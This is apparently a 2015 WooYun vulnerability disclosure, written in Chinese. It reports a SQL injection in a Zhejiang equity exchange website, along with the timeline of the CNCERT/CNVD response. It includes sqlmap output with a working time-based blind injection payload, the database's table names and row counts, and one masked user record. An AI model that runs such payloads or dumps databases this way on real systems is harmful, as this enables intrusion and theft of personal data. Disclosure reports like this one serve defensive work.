漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0143443
漏洞标题：浙江股权交易中心SQL注入泄露大量信息
相关厂商：cncert国家互联网应急中心
漏洞作者： 路人甲
提交时间：2015-09-28 19:51
修复时间：2015-11-15 17:10
公开时间：2015-11-15 17:10
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-09-28： 细节已通知厂商并且等待厂商处理中
2015-10-01： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-10-11： 细节向核心白帽子及相关领域专家公开
2015-10-21： 细节向普通白帽子公开
2015-10-31： 细节向实习白帽子公开
2015-11-15： 细节向公众公开
简要描述：
你懂得
详细说明：
http://**.**.**.**/view/proxy_site.php?func=listAll&catalog=060404
参数 catalog
跟随 深度安全实验室 的脚步
sqlmap identified the following injection point(s) with a total of 97 HTTP(s) re
quests:
---
Parameter: catalog (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: func=listAll&catalog=060404' AND (SELECT * FROM (SELECT(SLEEP(5)))u
VZw) AND 'wqrX'='wqrX
---
[16:36:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.12
漏洞证明：
current database: 'guquan'
Database: guquan
[38 tables]
+---------------------+
| h_access |
| h_admin_user |
| h_adminuser_right |
| h_applicant |
| h_attach |
| h_attention |
| h_catalog |
| h_company |
| h_company20131118 |
| h_company20131125 |
| h_company20131210 |
| h_company_logo |
| h_default |
| h_district |
| h_job |
| h_link |
| h_market |
| h_message |
| h_news |
| h_news_bak |
| h_product |
| h_product_bond |
| h_product_stock |
| h_project |
| h_proxy_site |
| h_records |
| h_records20131210 |
| h_records20140226 |
| h_relation_map |
| h_role |
| h_role_user |
| h_sh |
| h_software |
| h_sync_cityindustry |
| h_tmpUser |
| h_video |
| h_vipuser |
| h_vipuser_info |
+---------------------+
Database: guquan
+---------------------+---------+
| Table | Entries |
+---------------------+---------+
| h_news | 5204 |
| h_tmpUser | 5049 |
| h_news_bak | 1792 |
| h_company | 1731 |
| h_attach | 1016 |
| h_adminuser_right | 763 |
| h_company20131210 | 721 |
| h_company20131125 | 704 |
| h_company20131118 | 678 |
| h_sh | 677 |
| h_access | 646 |
| h_sync_cityindustry | 447 |
| h_vipuser | 281 |
| h_default | 196 |
| h_records | 195 |
| h_catalog | 145 |
| h_records20140226 | 132 |
| h_district | 93 |
| h_product_bond | 56 |
| h_proxy_site | 54 |
| h_attention | 45 |
| h_product | 27 |
| h_admin_user | 22 |
| h_records20131210 | 14 |
| h_market | 12 |
| h_company_logo | 2 |
| h_role | 2 |
| h_vipuser_info | 1 |
+---------------------+---------+
漏点数据
| id | custid | tokenid | name | email | custno | o
pertype | ipaddress | logintime | opertypename | specification |
+----+--------------+----------------+--------------+---------+--------------+--
--------+-----------------+---------------------+--------------+---------------+
| 3 | 00**8 | 81**612 | 郑** | NULL | 00***8
| 投资者 | *** | 2015-09-09 15:18:51 | NULL | NULL
修复方案：
1
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：9
确认时间：2015-10-01 17:08
厂商回复：
CNVD确认并复现所述漏洞情况，已经转由CNCERT下发给浙江分中心，由浙江分中心后续协调网站管理单位处置。
最新状态：
暂无